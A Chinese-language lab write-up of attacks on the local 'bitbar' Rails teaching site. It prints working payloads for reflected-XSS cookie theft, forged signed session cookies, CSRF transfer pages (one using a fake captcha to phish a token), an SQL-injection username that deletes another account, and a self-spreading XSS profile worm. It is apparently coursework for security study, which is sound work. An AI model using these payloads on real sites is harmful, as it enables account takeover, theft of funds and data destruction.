• bitbar 网站攻击实验


    实验环境

    https://github.com/TouwaErioH/security/tree/master/web1

    Windows10

    Oracle VM VirtualBox

    Ubuntu16.04 i386

    安装Ruby和rails,http://gorails.com/setup/ubuntu/16.04

    下载实验提供的project 2源码

    重定位到/bitbar目录下,执行bundle install

    开启服务器 rails server)

    可以在http://localhost:3000上访问bitbar

    Ruby 2.5.0

    Rails 5.0.7.2

    实验步骤

    参考:

    https://www.w3school.com.cn/xml/xml_http.asp

    Cookie:

    https://blog.csdn.net/weixin_34183910/article/details/92205222

    https://www.cnblogs.com/b0xiaoli/p/3935267.html

    https://baike.baidu.com/item/cookie/1119?fr=aladdin

    http://en.wikipedia.org/wiki/HTTP_cookie

    http  cookie   browser

    https://www.cnblogs.com/lancidie/p/8251187.html

    存储型XSS

    https://blog.csdn.net/weixin_44720762/article/details/89736508

    1. attack1 漏洞分析及攻击原理

    Attack  1Warn-up exercise: Cookie Theft

    l 开始网址

    http://localhost:3000/profile?username=

    评分员将提前以user1的身份登录bitbar,然后打开以上的开始网址

    你的目标是偷取user1的会话cookie并且将cookie发送到

    http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

    你可以在以下网址上查看最近被偷取的cookie

    http://localhost:3000/view_stolen_cookie

    请将你的答案写在warmup.txt

    l 提示:尝试添加一些随机字符串到开始网址后,观察这些随机字符会如何影响网页

    原理:

    打开开始网址:http://localhost:3000/profile?username=

    原本功能应该是输入文件名查看文件,测试 123,可见是 get 方法发送request

    测试发现存在XSS漏洞,可以直接执行js代码

    测试方法:

    <script>alert(/xss/)</script>

    先输了123,然后看url变化,直接显示了username=123,直接输了<script>alert(/xss/)</script>

    然后就弹窗,然后看url发现代码直接就显示出来了,说明没有过滤、html编码等,就有xss漏洞了

    Rails框架采用客户端session而非服务端sessioncookie中已经存储session信息。

    题目说明user1已经登录bitbar,打开目标网页,故会话cookie此时已经存在user1浏览器,直接使用document.cookie属性就可以获取字符串格式的cookie.

    题目说明获取cookie后发送到

    http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

    这里也是get方法,?后为参数,字符串形式。

    故目的url   ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie)

    可以用XMLrequest发送请求,设置open methodGETurl为上述url即可

    代码如下

    <script type="text/javascript">

    var x = new XMLHttpRequest();

    x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));

    x.send()

    </script>

    将这段代码注入到开始网址,

    运行效果:

    执行js代码前

    执行后:

    也可以

    Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie

    效果一样

    题目的意思是user1已经登陆,然后打开了那个页面,然后我们直接偷他的cookie(相当于user1走开了,坐他旁边的人来操作一下)

    若要做到窃取任意人的cookie,用存储型XSS,将cookie的代码上传到服务器,这样以后每个打开页面的人的cookie都会被偷,但是这样需要表单,数据库......固定到网页,或者其他用户要调用的表单

    2.attack2漏洞分析及攻击原理

    Attack 2: Session hijacking with Cookies

    在本次试验中,你将会获得attacker的身份:用户名attacker,密码attacker。你的目的是伪装成用户user1登录系统

    你的答案是一个脚本。当这个脚本在JavaScript console中执行时,bitbar将误认为你是以user1。请将这个脚本写到a.sh

    本次试验中,你可以使用MechanizeMechanize是一个Ruby的库函数, 它被用于与web应用实现自动化交互。在本次试验中,你必须要保存服务器发送的所有的cookie值。

    提示:网站是如何保存会话的?网站是如何验证用户当前是否登录?网站是如何验证cookie的真实性的?

    网站使用cookie保存对话。登录时附带cookie说明当前用户登录。使用签名验证cookie真实性。

    原理:

    网站识别用户使用的是cookie。要伪装成user1登录系统,需要伪造user1的cookie。

    attack1不同之处是attack1中user1已经提前登陆,故可以直接document.cookie获取user1的cookie。

    要伪造cookie需要了解cookie的生成过程,rails的cookie生成过程如下:

    加密过程:

    Session data的登录信息保存在warden.user.user.key

    session = { "warden.user.user.key" => [[1],"secret"] }

    序列化->Padding->加密AES-CBC->拼装加密内容和IV(BASE64)->签名HMAC-SHA1->拼装签名

    解密过程:

    分离签名->验证签名->分离加密内容和IV->解密->UNPADDING->解析->完成

    先使用attacker登陆bitbar,burp suite抓取信息,查看Bitbar的cookie结构

     

    如上图,--后为签名,直接分离,前面部分进行其他解密步骤。

    经过解密测试bitbar没有采用AEC-CBC加密,故在加解密时可以跳过相关步骤

    题目提示使用Mechanize进行交互,安装:

    使用:

    模拟登陆:

    实例化Mechanize对象

    访问登录页面

    获取表单

    使用attacker attacker填写表单,提交

    服务端返回cookie

    对返回到cookie解密:

    分割签名 --

    BASE64解码

    反序列化

    得到session信息

    代码

    # 模拟登陆

    agent = Mechanize.new #实例化Mechanize对象

    url = "http://localhost:3000/login"  

    page = agent.get(url)

    form = page.forms.first

    form['username'] = form['password'] = 'attacker' # 使用attacker的信息填写表单

    agent.submit form # 提交表单

    cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') #返回cookie

    cookie_value, cookie_signature = cookie.split('--')  #分离签名

    raw_session = Base64.decode64(cookie_value) #BASE64解码

    session = Marshal.load(raw_session) #反序列化

    puts session #打印cookie

    截止到此得到attacker的session 信息为

    {"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999","token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

    可见登陆id以数字表明,可以判断用户按顺序标记(已知用户user1,user2,user3,attacker),那么user1应该是 logged_in_id为1.

    id改为1,然后进行加密过程(序列化,BASE64编码),即可得到伪造的user1的cookie的前半部分。

    session['logged_in_id'] = 1

    cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 伪造前半部分

    服务器还要验证后半部分的签名,由上面的理论分析可知签名采用HMAC-SHA1。

    伪造签名需要获取秘钥,在本地源代码得到签名秘钥

    路径如图

    利用密匙生产签名,--链接,得到完整的user1的cookie。

    cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)

    cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"  #签名并合并

    puts "document.cookie='#{cookie_full}';" #打印完整的cookie

    之后继续利用Mechanize,利用伪造的cookie登录bitbar,验证是否伪装为user1即可。

    可以利用 http://localhost:3000/profile 验证,如图,页面信息显示当前登录为attacker,使用伪造的cookie访问该页面,若显示user1说明成功。可以直接打印返回的reponse.body,查看相关字段

    url = URI('http://localhost:3000/profile')

    http = Net::HTTP.new(url.host, url.port)

    header = {'Cookie':cookie_full} #使用伪造的cookie访问

    response = http.get(url,header)

    puts response.body  #查看相关字段

    a.sh见报告文件夹 answer/a.sh

    运行:ruby a.sh

     

    3.attack3漏洞分析及攻击原理

    Attack 3: Cross-site Request Forgery

    你的答案是一个名字为b.htmlhtml文件。评分人将用浏览器打开b.html

    在打开b.html前,评分人将提前使用user1的身份登录到bitbar

    打开b.html后,10bitbar将从user1的账户转到attacker的账户,当转账结束时,页面重定向到www.baidu.com

    l 你可以在http://localhost:3000/view_users 查看用户列表以及每个用户拥有的bitbar

    在攻击的过程中,浏览器的网址中不能出现localhost:3000

    原理:

    我们不清楚转账的机制,所以先进行一次转账,抓取数据,查看相关内容,然后构造b.html。

    题目提到评分人提前登陆user1,故浏览器已经存储user1的cookie。

    分析源代码可以找到user的密码

     

    登陆user1,向attacker转账10,抓包

    可知向/post_transfer接口POST数据  destination_username 信息即可。另外有编码方式 Content-Type

    需要注意附带cookie

    查看网页源代码,找到相关信息,构造表单

    表单内容为目的地址(转移接口),方式(POST),编码方式(在抓取的数据包有)。

    这里设定idgetpay,用于后续自动提交该表单

        <form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="getpay">

            <input type="hidden" name="destination_username" value="attacker">

            <input type="hidden" name="quantity" value=10>

        </form>

    以上完成转账表单,要实现自动转账,需要设置,当b.html被打开即调用函数提交表单

    可以使用window.load

    最后添加重定向到baidu.com的代码,延时0.2s转到百度。

    setTimeout(function(){window.location = "http://baidu.com";}, 0.2);

    完整代码b.html见报告文件夹 answer/b.html

    测试

    当前用户信息

    打开b.html

    结果成功

    注意某些版本firefox执行可能出现没有跳转(setTimeout没有执行),参考http://www.gxlsystem.com/JavaScript-25470.html

    解决。

    4.attack4漏洞分析及攻击原理

    你的答案是一个或者两个html页面,命名为bp.htmlbp2.html(可选)。评分员会在浏览器中打开bp.html

    在打开bp.html前,评分员已经用user1的身份登录到系统中

    评分员将于bp.html页面进行交互,因此bp.html的回应要合理。也就是说,如果在页面上有一个表格或者有一个按钮,并且在页面上有一些提示要求评分员进行一些操作,评分员将会依照这些提示执行。

    在评分员与bp.html页面进行交互后,10 bitbars将会从评分员的账户转到attacker的账户。当这个转账操作执行完成后,页面将重定向到www.baidu.com

    你的攻击必须要在于用户互动的前提下执行(不要再一次进行一次CSRF攻击)。特别的要注意的是,你的攻击要针对的网址是http://localhost:3000/super_secure_transfer或者 http://localhost:3000/super_secure_post_transfer。这两个网址做了一些CSRF攻击的防护。在攻击的过程中,你不能直接与http://localhost:3000/transfer或者http://localhost:3000/post_transfer进行交互。

    l 在你的攻击过程中,需要隐藏你的页面正从http://localhost:3000上下载内容的事实。

    原理:

    查看相关网页

     

     

    也可以继续测试,抓包,查看。可见和attack区别是多了一个随机的Token,所以不能用attack的自动提交方法。

    故需要欺骗用户输入token,也就是交互。这里欺骗方法可以是提示用户输入Token来验证自己是否是robot

    然后将获取的token连同quantitydes_username提交即可。

    设计一个欺骗网页,显示字符串“输入token验证”,当用户输入并点击确定时调用自动提交表单的函数,完成转账,并跳转到baidu

    欺骗与按钮设计。点击confirm后会调用getpay函数

    <p> input Super Secret Token to prove you are not a robot</p>

    <input id="token" type="text" placeholder="Captcha">

    <button onClick="getpay()">Confirm</button>

    然后设计getpay()函数.

    采用和attack不同的XMLHTTPRequest

    功能为:使用value获取输入的token,和attacker拼接为发送的字符串。新建XMLHTTPRequest实例。然后设置网址,设置参数,使用cookie,发送。这样就完成转账。

    然后使用window.top.location跳转到百度。

    <script>

    function getpay() {

      var request = new XMLHttpRequest(); //实例

    var token = document.getElementById("token").value; //获取token

      request.open("POST", "http://localhost:3000/super_secure_post_transfer", false); //设置请求但没有发送

      request.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置参数

      request.withCredentials = true; //使用cookie

      try {

        request.send("quantity=10&destination_username=attacker&tokeninput=" + token); //发送

      } catch (err) {

        // Do nothing

      } finally {

        window.top.location = "http://baidu.com";   //最后跳转到baidu

      }

    }

    </script>

    完整代码见报告文件夹 answer/bp.html

    5.attack5漏洞分析及攻击原理

    l 你的答案是一个恶意的用户名。这个恶意的用户名允许你删除一个你不具有访问权限账户。

    评分员将使用你提供的恶意用户名新建一个账户。并在close”页面上确认删除该账户

    作为结果,新建的账户以及user3的账户将会被删除。其他的账户不变

    l 你可以在http://localhost:3000/view_users页面上查看所用的用户

    l 如果数据库在测试攻击的过程中被破坏了,你可以停止Rails然后使用rake db:reset命令是数据库复原。

    将你的最终答案写在d.txt中

    提示:SQL注入;WHERE子句

    原理:

    至体积一个用户名就删除user3,应该是拼接注册的SQL语句导致删除。

    先分析网站源码,得到注册的逻辑。

    将直接将用户名写到user.username字段。

    再看删除的逻辑,直接使用输入的用户名。都没有做变换,故可以构造用户名,直接写入数据库,然后删除这个用户,实际上连接成SQL语句删除user3.

     

    先随便注册一个用户 123 123

    在后台(终端的命令行)看到相关SQL语句

    再删除,看到相关语句

    相当于语句

    delete from users where username = ‘123’

    注意是字符串,为注册的用户名加了两个单引号’’。题目还要求同时删除创建的用户,

    构造为

    user3' or username LIKE '%or username LIKE%

    这样删除语句变为

    delete from users where username =’user3' or username LIKE '%or username LIKE%

    这样就同时删除自身和user3.除非其他用户名含有 or username LIKE,否则不会误删

    效果:   注意使用英文单引号

    注册:

    删除自身

    6.attack6漏洞分析及攻击原理

    你的答案是一个用户的profile(简况)。当其他用户阅读这个profile时,1bitbar将会从当前账户转到attacker的账户,并且将当前用户的profile修改成该profile。因此,如果attacker将他的profile修改成你的答案,以下情况会发生:

    如果user1浏览了attackerprofile,那么1 bitbar将从user1的账户转到attacker的账户,user1profile修改成你答案中的profile

    之后,如果user2浏览了user1profile,那么1 bitbar将从user2的账户转到attacker的账户,user2profile也被替换成你答案中profile

    因此,你的profile worm将会很快扩散到全部的用户账户中

    将你的恶意的profile写在d.txt中

    评分过程:评分员将会将你提供的恶意profile复制到attackerprofile上。然后,评分者将使用多个账户浏览attackerprofile。检查是否正常进行转账以及profile的复制

    转账和profile复制的过程应该具有合理的速度。在这个过程中,评分员不会点击任何地方。

    在转账和profile的赋值过程中,浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ,其中xprofile被浏览的用户名。

    l 不会出现当前账户没有钱可以转的情况

    提示:MySpace vulnerability

    原理:

    实现两个功能:转账+复制。转账功能可以利用attack3或attack4的思路,向接口发送数据即可。

    对于复制文件并不清楚,需要测试。以及如何使profile生效需要测试。

    转账的代码参考attack3,4,不再赘述。

    修改profile:

    使用attacker登录,设置自己的profile。Burp suite抓包查看信息。发现修改profile是利用了/set_profile 接口。

     

    故要修改浏览者的profile,只需采用转账类似的方法,向/set_profile发送数据即可。XXX为待完成部分。

    request = new XMLHttpRequest();  //对象

    request.open("POST", "http://localhost:3000/set_profile", true);  //地址

    request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //参数

    request.withCredentials = true;   //cookie

    request.send(XXX)));

    查看attacker的profile,对应源码。发现一个用户的profile被一个<div id=profile>标签包围。故可以采用document.getElementById('profile').outerHTML来获取当前被浏览用户的profile的HTML内容。

    若要做到更好可以在profile加一层包装,如下,然后只获取wrap标签内的内容即可document.getElementById('wrap').outerHTML

    <span id="wrap">

    Profile

    </span>

    拼接”new_profile”即为上面XMLHTTPRequestsend的内容。注意escape()编码,然后连接时使用contact而非+,因为+HTML中为空格。

    request.send("new_profile=".concat(escape(document.getElementById('profile').outerHTML)));

    最后是如何执行转账和复制的代码。

    网站源码渲染用户的profile代码在views/profile.html.erb中调用了sanitize_profile函数,而这个函数定义在application_helper

    santitize 函数,通过 tags 和 attributes设定了白名单,其中允许href,故可以使用JavaScript伪协议来XSS

    https://ruby-china.org/topics/28760

     attributes 白名单不安全,根据现在的实现(#issues-27),如果设置了 attributes 参数,就会跳过一些属性过滤,例如协议过滤:

    sanitizie '<a href="javascript:alert()">click</a>'#=> <a>click</a>

    sanitizie '<a href="javascript:alert()">click</a>', attributes: %w(href)#=> <a href="javascript:alert()">click</a>'

    class属性中利用eval就可以执行js代码。

    以上完成所有需要的代码。

    测试中发现,服务器会将发送到post_transfer的内容的&,变为&,这样复制之后的代码没有转账功能

    如图

    故需要对&做编码,使用 String.fromCharCode()&编码,于是转账部分向post_transfer发送内容变为

    request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));

    最后的profile完整代码:

    <span id="wrap">

    <span id="bitbar_count" class="eval(document['getElementById']('myattack')['innerHTML'])"></span>

    <span id="myattack">   //eval执行下面的函数

    document.getElementById('myattack').style.display = "none"; //不在profile显示

    setTimeout(function(){

        var request = new XMLHttpRequest();  //实例

        request.open("POST", "http://localhost:3000/post_transfer");  //目的

        request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //编码

        request.withCredentials = true; //cookie

        try {

            request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); //send内容,转账

        } catch (err) {

        //DO nothing

        } finally {

            request = new XMLHttpRequest();

            request.open("POST", "http://localhost:3000/set_profile", true);   //修改的api地址

            request.setRequestHeader("Content-type","application/x-www-form-urlencoded");

            request.withCredentials = true;

            request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); //修改浏览者profile

        }

    }, 0);

    10; //显示一个虚假的profile

    </span>

    </span>

    测试发现上述代码在chrome成功转账并感染,但是在某些版本firefox只转账,推测是settimeout的问题。

    解决:

    方法1:直接在class执行所有的函数,不使用eval,也不适用settimeout

    <img id="bitbar_count" class='var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:3000/post_transfer");
    request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request.withCredentials = true;
    request.send("quantity=1&destination_username=attacker");
    var request2 = new XMLHttpRequest();
    request2.open("POST", "http://localhost:3000/set_profile");
    var new_profile = document.getElementById("profile").innerHTML;
    request2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request2.withCredentials = true;
    request2.send("new_profile=" + encodeURIComponent(new_profile));'>

    方法2:新建Formdata对象,使用append方法添加参数。.fetch函数是封装好的js函数。

    <p id="bitbar_count" class="

    let transferdata=new FormData();

        transferdata.append('destination_username','attacker');

        transferdata.append('quantity','1');

        fetch('../post_transfer',{method:'POST',body:transferdata});

        let profiledata=new FormData();

        profiledata.append('new_profile',document.getElementById('profile').innerHTML);

        fetch('../set_profile',{method:'POST',body:profiledata});

    "></p>

    经过测试二者都可以完成目的功能。

    效果:

    设置attacker的profile

    User1浏览attacker

    浏览前

     

    浏览后

     

  • 相关阅读:
    EXT今日笔记自定义vtype
    游标的原理
    调用Excle组件导出,解决权限问题
    解决EntityFramework数据库无法自动迁移解决方法
    初涉AJAX
    20151015_系统分析阶段分析类的三种类型
    20151007_手动刷新Android系统SD卡
    20151014_基于距离的分类算法之KNN
    20151008_Android Application类
    20150919_获取Android唯一标识码
  • 原文地址:https://www.cnblogs.com/lqerio/p/13267123.html
Copyright © 2020-2023  润新知